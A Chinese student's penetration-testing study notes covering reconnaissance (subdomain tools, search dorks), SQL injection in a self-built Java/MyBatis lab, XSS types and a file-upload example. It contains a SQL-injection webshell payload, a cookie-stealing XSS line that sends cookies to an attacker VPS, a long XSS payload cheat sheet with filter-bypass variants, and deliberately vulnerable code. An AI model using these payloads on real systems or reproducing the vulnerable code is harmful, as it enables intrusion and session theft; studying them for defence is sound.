不知道起什么标题好

放了假看了点java打了几个linux的靶机,看java感觉好厉害,这就直接打出来漏洞了?,看他们打靶机感觉思路好牛逼啊这你给我提权了?,想到自己哎哎哎,不过想到开学要去打比赛以及突然想起来自己期末周的时候被拷打,不行!!!,那就自己稍微总结一下关于渗透的知识。关于渗透总感觉自己在qq群里面去打了,应该知道点,但似乎就是不知道了,打了也是白打,md,我和傻子一样

信息搜集

虽然好像在打靶机的时候可能稍微用一点,不过自己在被拷打的时候确实是啥也而不知道,正好也稍微改一下,把一些面试时候的东西也总结一下

image-20260119205647108

这里参考的是渗透安全HackTwo(微信公众号直接去搜就行,非常好的公众号)

首先是对域名进行搜集

1
例如www.wea5e1.top --> 一级域名是我们的wea5e1.top,也就是主域名,而www则是二级域名

正常我们去拿到域名的时候,都要去一些网站去查查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1:天眼查,看看有没有旁段啊什么的,比如blog.wea5e1.top,szlcm.wea5e1.top,lcmznb.wea5e1.top
2:网站备案号查询:看备案信息什么的: 备案号 鲁ICP备2025140415号,然后从备案信息反向查看网站信息什么的
3,kali的dnsenum命令【找子域名】:dnsenum wea5e1.top
4,msssl官网查询:https://myssl.com
5,使用其他的方式去获得,比如他的网站是a.wea5e1.top,那看看有没有b.wea5e1.top,c.什么的
6,搜索引擎查询(goole啊百度啊什么的):site:wea5e1.top
关于搜索引擎的语法;
site:oldboyedu.com # 搜索域名
inurl:?id=1 # 根据url过滤
intext: 后台登录 # 根据页面内容过滤
intitle: 登录 # 过滤title
filetype: pdf # 过滤文件
site:zabbix.com filetype: pdf # 组合使用
7,fofa引擎
title="wea5e1的妙妙屋"
os="ubuntu"
header="elastic"
domain="wea5e1.top"
port="3306"
protocol="https" && title="wea5e1" && port="3306"
host=".edu.cn" # 类似与谷歌语法中inurl
cert="" # 通过证书序列号查询
8.JSFinder脚本(python)python JSFinder.py -u http://wea5e1.top
9.看看一些漏洞平台什么的比如 360 奇安信 微步 安恒
10.直接拿工具去扫url(少用)dirsearch 御剑 feroxbuster等等

然后呢,对ip进行搜集

1
2
3
4
5
6
7
8
9
10
1.ping
ping baidu.com
正在 Ping baidu.com [111.63.65.247] 具有 32 字节的数据:
来自 111.63.65.247 的回复: 字节=32 时间=83ms TTL=47
来自 111.63.65.247 的回复: 字节=32 时间=78ms TTL=47
来自 111.63.65.247 的回复: 字节=32 时间=74ms TTL=47
2.在线的网站
比如:www.boce.com https://ti.360.cn/
3.ping旁站
4.fofa搜索引擎

这个推荐常用的工具:nmap goby和fofa搜索引擎

然后通过去查看一些网站的信息啊,看看版本号和中间件啊什么的(怎么看的我不知道,我只知道我在路上走着,突然看见利用 FofaCensysShodan 等平台和网站的header头给我说他们的信息什么的)

漏洞扫描和验证

工具扫描:

俺不中咧

手动判断:

至于怎么去判断,那就来到了重点了,漏洞简解(正好昨天看Java看烦了,自己搭了一个靶场)

image-20260119211826946

sql注入

攻击目标服务器

省流:可以和数据库去交换的地方,比如搜索框,登录框

1
2
3
4
可以通过去查看header头
get 请求:请求行
post请求:请求主体
请求头:cookie、user-agent、referer、xff等等,测试嘛哈哈哈

先来说这个(php的就不说了,网上有sql-labs靶场可以去做做看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 原生sql语句动态拼接 参数未进行任何处理
public R vul1(String type,String id,String username,String password) {
//注册数据库驱动类
Class.forName("com.mysql.cj.jdbc.Driver");

//调用DriverManager.getConnection()方法创建Connection连接到数据库
Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);

//调用Connection的createStatement()或prepareStatement()方法 创建Statement对象
Statement stmt = conn.createStatement();
switch (type) {
case "add":
//这里没有标识id id自增长
sql = "INSERT INTO sqli (username, password) VALUES ('" + username + "', '" + password + "')";
//通过Statement对象执行SQL语句,得到ResultSet对象-查询结果集
// 这里注意一下 insert、update、delete 语句应使用executeUpdate()
rowsAffected = stmt.executeUpdate(sql);
//关闭ResultSet结果集 Statement对象 以及数据库Connection对象 释放资源
stmt.close();
conn.close();
return R.ok(message);
case "delete":
sql = "DELETE FROM users WHERE id = '" + id + "'";
rowsAffected = stmt.executeUpdate(sql);
...
case "update":
sql = "UPDATE sqli SET password = '" + password + "', username = '" + username + "' WHERE id = '" + id + "'";
rowsAffected = stmt.executeUpdate(sql);
...
case "select":
sql = "SELECT * FROM users WHERE id = " + id;
ResultSet rs = stmt.executeQuery(sql);
...
}
}//正好稍微会看了点java代码嘻嘻嘻

看上面正常来说我们可以去控制的参数应该是type,id,username,passwd,那我们就去发送请求

1
2
3
4
5
public R vul1(String type,String id,String username,String password) {
...
case "select":
sql = "SELECT * FROM users WHERE id = " + id;
ResultSet rs = stmt.executeQuery(sql);
1
http://127.0.0.1:801/sqli/jdbc/vul1?id=1&type=select&_=1768828769208

前面的接口就先不说了,可以看到我们可以去控制的参数是id和type(_没啥用)不过这个只是select的接下来去对其他去尝试,发现就是我们可以去控制的参数,这里就只讲select了,查看上面的代码,我们可以去发现我们去发送查询请求的参数是被直接拼接在sql数据库语法里面,也就是说我们的参数直接拼接在数据库执行代码里面去执行代码。

那么他的漏洞原理就显而易见了

1
程序员在开发代码的时候,连接数据库的参数,未经过滤,让用户输入的参数去拼接sql语句进入数据库进行增删改查;

危害就不用说了,大大的危害啊,可以去加用户,然后查看数据库里面的敏感信息啊,还能去getshell

1
(SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'index路径上一级路径/shell.php';)

至于怎么去测试

1
2
https://blog.csdn.net/Lcmpro/article/details/152456724?spm=1001.2014.3001.5501
https://fushuling.com/ //这个师傅里面有关于sql注入通关的非常好的博客

至于怎么去防御,简单,加个预编译不就好了

1
2
3
4
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

这样就直接让用户传的参数去防御了。不过真的防住了吗?

在java里面mybatis使用率是非常高的。

1
2
里面的sql语法是
@Select("SELECT * FROM admin WHERE id = ${id}")//#{}是预编译

我们对${}去进行sql注入

image-20260119220344915

发现没有防住,而使用#{}则防住了

1
#{}会被 MyBatis 解析为 PreparedStatement 的占位符 ?,会自动为字符串添加单引号,例如传入 admin 会变成 'admin'

不过真的又防住了吗?

1
2
3
当我们使用like去模糊匹配,就会去报错,我们要想去使用like只能去进行黑白名单过滤
什么,你说什么搜索like匹配,浏览器搜索啊
当我们使用order by有输入升/降序参数同样报错,同样还有in。

XSS

用户(后端管理员)

省流

1
2
3
4
5
6
7
数据交互地方
搜索栏
文档栏
留言板
登入框
聊天框
js事件  点击  触碰  按钮   加载
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果
public R vul1(String payload) {
return R.ok(payload);
}
// R 是对返回结果的封装工具util
// 返回结果:
// {
// "msg": "<script>alert(document.cookie)</script>",
// "code": 0
// }
// payload在json中是不会触发xss的 需要解析到页面中

// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果
public String vul2(String payload) {
return payload;
}

发现并没有对参数进行过滤(斯,不对,不能去sql注入,没有对数据库进行操作)

发现我们输什么回来什么,我直接

1
<h1>1</h1> (<script>alert(/xss/)</script>)

没错,直接去js代码进行加载

那么漏洞原因就出来了

1
2
程序软件对用户的输入输出没有做代码限制,导致用户可以输入一些js恶意代码;
其他用户看到浏览到这些恶意脚本代码,就被浏览器执行,进而实现攻击目标;简单来说:xss就是前端rce

xss分为

1
2
3
4
存储型   高危:就是在评论区啊一些地方,我去评论一个恶意js代码,有人去点进行,发现被我去攻击
例如:<img src=x onerror="new Image().src='http://你的VPS地址/steal?cookie='+document.cookie">
dom型 中危
反射型 低位

image-20260119222503245

存储型 xss

概念:<存储型 XSS 发生在用户提交的数据被存储在服务器上,并在其他用户访问时被检索和显示的情况下。攻击者通过提交包含恶意脚本的数据,将其存储在服务器上,然后其他用户在访问相应页面时执行了这些脚本。(代码存储于服务器数据库中)

DOM 型 xss

概念: DOM 型 XSS 发生在页面中存在可被 JavaScript 动态修改的 DOM 元素,并且恶意脚本通过修改 DOM 来执行的情况下。攻击者构造的 URL 或提交的数据,由 JavaScript 解析后修改了 DOM,导致了脚本的执行。

DOM 型 XSS 是一种基于文档对象模型的跨站脚本攻击。它主要是通过修改页面的 DOM(文档对象模型)节点来执行恶意脚本。与传统的反射型 XSS 和存储型 XSS 不同,DOM – XSS 的恶意脚本执行并不依赖于服务器端将恶意脚本返回给客户端浏览器,而是在浏览器端通过操作 DOM 树来实现。

注:

一、DOM 全称 文档对象模型(Document Object Model)(树状模型)

二、DOM 是什么 DOM 就是一个编程接口,就是一套 API。 DOM 是针对 HTML 文档、XML 等文档的一套 API。就类似于 JDBC 是针对数据库的一套 API 一样。

三、DOM 的用途 DOM 是用来访问或操作 HTML 文档、XHTML 文档、XML 文档中的节点元素。

现在基本上所有的浏览器都都执行了 W3C 发布的 DOM 规范,所以在浏览器上就可以用 DOM 的这些 API。

(它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分)

反射型 xss

概念: <非持久性> 反射型 xss 发生在用户提交的数据被直接返回到页面,并在该页面上执行的情况下。攻击者通过构造包含恶意脚本的 URL,诱使用户点击该 URL,而服务器在响应中反射(显示)了恶意脚本。

image-20260119222658167

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
常见标签语句
・<a> 标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
・<img> 标签

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">
・<iframe> 标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
・<audio> 标签

<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
・<video> 标签

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
・<svg> 标签

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>
・<button> 标签

<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>
・<div> 标签

这个需要借助 url 编码来实现绕过

<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
・<input> 标签

<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>
・<details> 标签

<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>
・<form> 标签

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
・<p> 标签

<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>
・<object> 标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
・<select> 标签

<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>
・<script> 标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

事件属性

FSCommand() (当从嵌入式 Flash 对象中执行时,攻击者可以使用它)
onAbort() (当用户中止图像加载时)
onActivate() (当对象被设置为活动元素时)
onAfterPrint() (在用户打印或预览打印作业后激活)
onAfterUpdate() (更新源对象中的数据后在数据对象上激活)
onBeforeActivate() (在对象被设置为活动元素之前触发)
onBeforeCopy()(攻击者在将选择复制到剪贴板之前执行攻击字符串 – 攻击者可以使用该execCommand("Copy")功能执行此操作)
onBeforeCut() (攻击者在选择被切断之前执行攻击字符串)
onBeforeDeactivate() (在 activeElement 从当前对象更改后立即触发)
onBeforeEditFocus() (在可编辑元素中包含的对象进入 UI 激活状态之前或在选择可编辑容器对象时触发)
onBeforePaste()(用户需要被诱骗粘贴或使用该execCommand("Paste")功能强制粘贴)
onBeforePrint()(用户需要被欺骗打印或攻击者可以使用print()或execCommand("Print")功能)。
onBeforeUnload() (用户需要被诱骗关闭浏览器 – 除非它是从父级生成的,否则攻击者无法卸载窗口)
onBeforeUpdate() (在更新源对象中的数据之前激活数据对象)
onBegin() (当元素的时间线开始时, onbegin 事件会立即触发)
onBlur() (在加载另一个弹出窗口并且窗口失去焦点的情况下)
onBounce() (当Marquee对象的行为属性设置为“备用”和Marquee的内容到达窗口的一侧时)
onCellChange() (当数据提供者中的数据发生变化时触发)
onChange() (选择、文本或 TEXTAREA 字段失去焦点并且其值已被修改)
onClick() (有人点击表格)
onContextMenu() (用户需要右键单击攻击区域)
onControlSelect() (当用户即将对对象进行控件选择时触发)
onCopy()(用户需要复制一些东西或者可以使用execCommand("Copy")命令来利用它)
onCut()(用户需要复制一些东西或者可以使用execCommand("Cut")命令来利用它)
onDataAvailable() (用户需要更改元素中的数据,否则攻击者可以执行相同的功能)
onDataSetChanged() (当数据源对象公开的数据集更改时触发)
onDataSetComplete() (触发以指示数据源对象中的所有数据都可用)
onDblClick() (用户双击表单元素或链接)
onDeactivate() (当 activeElement 从当前对象更改为父文档中的另一个对象时触发)
onDrag() (要求用户拖动对象)
onDragEnd() (要求用户拖动对象)
onDragLeave() (要求用户将对象拖离有效位置)
onDragEnter() (要求用户将对象拖动到有效位置)
onDragOver() (要求用户将对象拖动到有效位置)
onDragDrop() (用户将对象(例如文件)拖放到浏览器窗口上)
onDragStart() (在用户开始拖动操作时发生)
onDrop() (用户将对象(例如文件)拖放到浏览器窗口上)
onEnd() (当时间线结束时触发 onEnd 事件。
onError() (加载文档或图像会导致错误)
onErrorUpdate() (在更新数据源对象中的关联数据时发生错误时触发数据绑定对象)
onFilterChange() (当视觉过滤器完成状态更改时触发)
onFinish() (攻击者可以在选框完成循环时创建利用)
onFocus() (攻击者在窗口获得焦点时执行攻击字符串)
onFocusIn() (攻击者在窗口获得焦点时执行攻击字符串)
onFocusOut() (攻击者在窗口失去焦点时执行攻击字符串)
onHashChange() (当文档当前地址的片段标识符部分更改时触发)
onHelp() (攻击者在窗口处于焦点时用户点击 F1 时执行攻击字符串)
onInput() (元素的文本内容通过用户界面更改)
onKeyDown() (用户按下一个键)
onKeyPress() (用户按下或按住某个键)
onKeyUp() (用户释放密钥)
onLayoutComplete() (用户必须打印或打印预览)
onLoad() (攻击者在窗口加载后执行攻击字符串)
onLoseCapture()(可以被releaseCapture()方法利用)
onMediaComplete() (当使用流媒体文件时,此事件可能会在文件开始播放之前触发)
onMediaError() (用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发该事件)
onMessage() (当文档收到消息时触发)
onMouseDown() (攻击者需要让用户点击图片)
onMouseEnter() (光标在对象或区域上移动)
onMouseLeave() (攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)
onMouseMove() (攻击者需要让用户将鼠标悬停在图像或表格上)
onMouseOut() (攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)
onMouseOver() (光标在对象或区域上移动)
onMouseUp() (攻击者需要让用户点击图片)
onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
onMove() (用户或攻击者会移动页面)
onMoveEnd() (用户或攻击者会移动页面)
onMoveStart() (用户或攻击者会移动页面)
onOffline() (发生在浏览器在联机模式下工作并且开始脱机工作时)
onOnline() (发生在浏览器在离线模式下工作并开始在线工作时)
onOutOfSync() (中断元素播放时间轴定义的媒体的能力)
onPaste()(用户需要粘贴或攻击者可以使用该execCommand("Paste")功能)
onPause() (当时间线暂停时,onpause 事件会在每个处于活动状态的元素上触发,包括 body 元素)
onPopState() (当用户浏览会话历史时触发)
onProgress() (攻击者会在加载 Flash 电影时使用它)
onPropertyChange() (用户或攻击者需要更改元素属性)
onReadyStateChange() (用户或攻击者需要更改元素属性)
onRedo() (用户在撤消交易历史中前进)
onRepeat() (该事件为时间线的每次重复触发一次,不包括第一个完整周期)
onReset() (用户或攻击者重置表单)
onResize()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeEnd()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeStart()(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResume() (onresume 事件会在时间线恢复时激活的每个元素上触发,包括 body 元素)
onReverse() (如果元素的 repeatCount 大于 1,则每次时间线开始向后播放时都会触发此事件)
onRowsEnter() (用户或攻击者需要更改数据源中的一行)
onRowExit() (用户或攻击者需要更改数据源中的一行)
onRowDelete() (用户或攻击者需要删除数据源中的一行)
onRowInserted() (用户或攻击者需要在数据源中插入一行)
onScroll()(用户需要滚动,否则攻击者可以使用该scrollBy()功能)
onSeek() (当时间轴设置为向前以外的任何方向播放时,将触发 onreverse 事件)
onSelect()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)
onSelectionChange()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)
onSelectStart()(用户需要选择一些文本-攻击者可以自动初始化是这样的:window.document.execCommand("SelectAll");)
onStart() (在每个选框循环开始时触发)
onStop() (用户需要按停止按钮或离开网页)
onStorage() (存储区域已更改)
onSyncRestored() (用户中断元素播放由时间线定义的媒体的能力以触发)
onSubmit() (需要攻击者或用户提交表单)
onTimeError() (用户或攻击者将时间属性(例如 dur)设置为无效值)
onTrackChange() (用户或攻击者更改播放列表中的曲目)
onUndo() (用户在撤消事务历史记录中倒退)
onUnload() (当用户单击任何链接或按下后退按钮或攻击者强制单击时)
onURLFlip() (当由 HTML+TIME(定时交互式多媒体扩展)媒体标签播放的高级流格式 (ASF) 文件处理嵌入在 ASF 文件中的脚本命令时,将触发此事件)
seekSegmentTime() (这是一种在元素的片段时间线上定位指定点并从该点开始播放的方法。片段由时间线的一次重复组成,包括使用 AUTOREVERSE 属性的反向播放。)

绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# xss绕过

## 1,换标签函数绕过

```bash
一个不好使、换另一个;
```

## 2,大小写绕过

```bash
123'"><SCRipt>alert(111111111)</SCRipt>
```

## 3,长度限制

```bash
修改前端代码
```

## 4,双写绕过

```bash
123'"><scr<script>ipt>alert(111111111)</scr</script>ipt>
```

## 5,注释绕过

```bash
<!--注释信息-->

123'"><scr<!--注释信息-->ipt>alert(111111111)</scr<!--注释信息-->ipt>
```

## 6,事件属性绕过

```bash
123'"><img src="#" onerror="alert(111111111)">
```

## 7,编码绕过

```bash
# 实体化
123'"><img src="#" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x31;&#x31;&#x31;&#x31;&#x31;&#x31;&#x31;&#x31;&#x29;">

# base64
123'"><img src="#" onerror=YWxlcnQoMTExMTExMTExKQ==>
```

## 8,htmlspecialchars()函数绕过

```bash
# 参数说明
ENT_QUOTES # 单引号、双引号都会被编码;
ENT_COMPAT # 双引号会被编码;
```

```bash
123' onclick='alert(123)'
```

这里推荐xss-labs

防御

1
2
3
4
5
6
7
使用htmlspecialchars()和htmlentities()将一些预定义的字符转换为HTML实体。
输入编码转义
对输入的数据进行HTML转义,使其不会识别为可执行脚本
白名单过滤
根据白名单的标签和属性对数据进行过滤,以此来对可执行的脚本进行清除(如script标签,标签的onerror属性等)
httpOnly
httpOnly并不能防御XSS,它是为了解决XSS漏洞后面的Cookie劫持攻击,它可以有效地阻挡XSS会话劫持攻击。

文件上传

1
2
3
4
5
6
7
8
9
10
11
// 原生漏洞场景,未做任何限制
public R vul(MultipartFile file, HttpServletRequest request) {
String res;
String suffix = FilenameUtils.getExtension(
// 查找文件名中最后一个点(.)之后的字符串
file.getOriginalFilename());
String path = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort() + "/file/";
res = uploadUtil.uploadFile(file, suffix, path);
return R.ok(res);
}
// uploadFile方法详见文件上传导致XSS模块